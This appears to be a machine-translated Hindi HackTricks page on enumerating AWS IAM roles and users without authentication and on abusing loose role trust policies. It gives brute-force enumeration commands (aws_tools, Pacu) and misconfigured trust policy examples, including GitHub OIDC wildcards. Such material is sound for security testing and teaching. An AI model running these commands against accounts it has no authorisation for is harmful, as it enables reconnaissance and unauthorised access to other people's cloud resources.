AWS - IAM & STS Unauthenticated Enum

htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें!

HackTricks का समर्थन करने के अन्य तरीके:

खाते में भूमिकाएँ और उपयोगकर्ता नामों का जाँच करें

अस्स्यूम रोल ब्रूट-फोर्स

यह तकनीक अब काम नहीं करती क्योंकि रोल मौजूद हो या न हो, आपको हमेशा यह त्रुटि मिलती है:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas

आप इसे टेस्ट कर सकते हैं चलाकर:

aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example

अनधिकृत रूप से एक भूमिका का अनुमान लगाने का प्रयास करना जरूरी अनुमतियों के बिना AWS त्रुटि संदेश को ट्रिगर करता है। उदाहरण के लिए, अनधिकृत होने पर, AWS वापस दे सकता है:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS

यह संदेश भूमिका की मौजूदगी की पुष्टि करता है लेकिन इसका assume role policy आपके assumption की अनुमति नहीं देता। विपरीत, किसी अस्तित्व में न होने वाली भूमिका को assume करने का प्रयास एक भिन्न त्रुटि में ले जाता है:

An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole

Interestingly, इस मेथड का उपयोग करके मौजूदा और गैर-मौजूदा भूमिकाओं के बीच भेद करने की विधि विभिन्न AWS खातों के बीच भी लागू है। एक मान्य AWS खाता आईडी और एक लक्षित शब्दसूची के साथ, व्यक्ति खाते में मौजूद भूमिकाएँ सूचीबद्ध कर सकता है बिना किसी निहित सीमाओं का सामना किए।

आप इस स्क्रिप्ट का उपयोग करके संभावित प्रिंसिपल को सूचीबद्ध कर सकते हैं इस मुद्दे का दुरुपयोग करके।

विश्वास नीतियाँ: ब्रूट-फोर्स क्रॉस अकाउंट भूमिकाएँ और उपयोगकर्ता

IAM भूमिका की विश्वास नीति को कॉन्फ़िगर करना या अपडेट करना शामिल है जिसमें परिभाषित किया जाता है कि कौन से AWS संसाधन या सेवाएँ उस भूमिका को मान्यता देने और अस्थायी प्रमाणपत्र प्राप्त करने के लिए अधिकृत हैं। यदि नीति में निर्दिष्ट संसाधन मौजूद है, तो विश्वास नीति सफलतापूर्वक सहेजती है। हालांकि, यदि संसाधन मौजूद नहीं है, तो एक त्रुटि उत्पन्न होती है, जिससे यह स्पष्ट होता है कि एक अमान्य प्रिंसिपल प्रदान किया गया था।

ध्यान दें कि उस संसाधन में आप एक क्रॉस अकाउंट भूमिका या उपयोगकर्ता निर्दिष्ट कर सकते हैं:

  • arn:aws:iam::acc_id:role/role_name

  • arn:aws:iam::acc_id:user/user_name

यह एक नीति उदाहरण है:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":
{
"AWS":"arn:aws:iam::216825089941:role\/Test"
},
"Action":"sts:AssumeRole"
}
]
}

GUI

यह है त्रुटि जो आपको मिलेगी अगर आप एक भूमिका का उपयोग करते हैं जो मौजूद नहीं है। यदि भूमिका मौजूद है, तो नीति किसी भी त्रुटि के बिना सहेजी जाएगी। (त्रुटि अपडेट के लिए है, लेकिन निर्माण के समय भी काम करता है)

CLI

### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}

# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"

आप इस प्रक्रिया को https://github.com/carlospolop/aws_tools के साथ स्वचालित कर सकते हैं।

  • bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt

हम Pacu का उपयोग कर रहे हैं:

  • run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt

  • run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt

  • उदाहरण में उपयोग किए गए admin रोल को pacu द्वारा अनुकरण के लिए आपके खाते में एक रोल है जिसे निर्दिष्ट किया गया है।

Privesc

यदि रोल गलत ढंग से कॉन्फ़िगर किया गया है और किसी को इसे अस्सुम करने की अनुमति है:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}

तीसरे पक्ष का OIDC संघ

सोचिए कि आप Github Actions workflow को पढ़ने में सफल हो जाते हैं जो AWS के अंदर एक role तक पहुंच रहा है। यह विश्वास एक ऐसे trust policy के साथ एक role तक पहुंचने की अनुमति दे सकता है:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}

यह विश्वास नीति सही हो सकती है, लेकिन अधिक स्थितियों की कमी आपको इस पर अविश्वास करने पर मजबूर करनी चाहिए। यह इसलिए है क्योंकि पिछली भूमिका को किसी भी Github क्रियाओं से किसी भी व्यक्ति द्वारा अनुमानित किया जा सकता है! आपको स्थितियों में भी अन्य चीजों को जैसे कि संगठन का नाम, रेपो का नाम, एनवी, शाखा... भी निर्दिष्ट करना चाहिए।

एक अन्य संभावित गलत विन्यास यह है कि निम्नलिखित तरह की एक स्थिति जोड़ें:

"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}

ध्यान दें कि वाइल्डकार्ड (*) को बिंदु (:) से पहले लगाया गया है। आप एक ऑर्गनाइजेशन जैसे org_name1 बना सकते हैं और गिटहब एक्शन से रोल अस्सुम कर सकते हैं

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated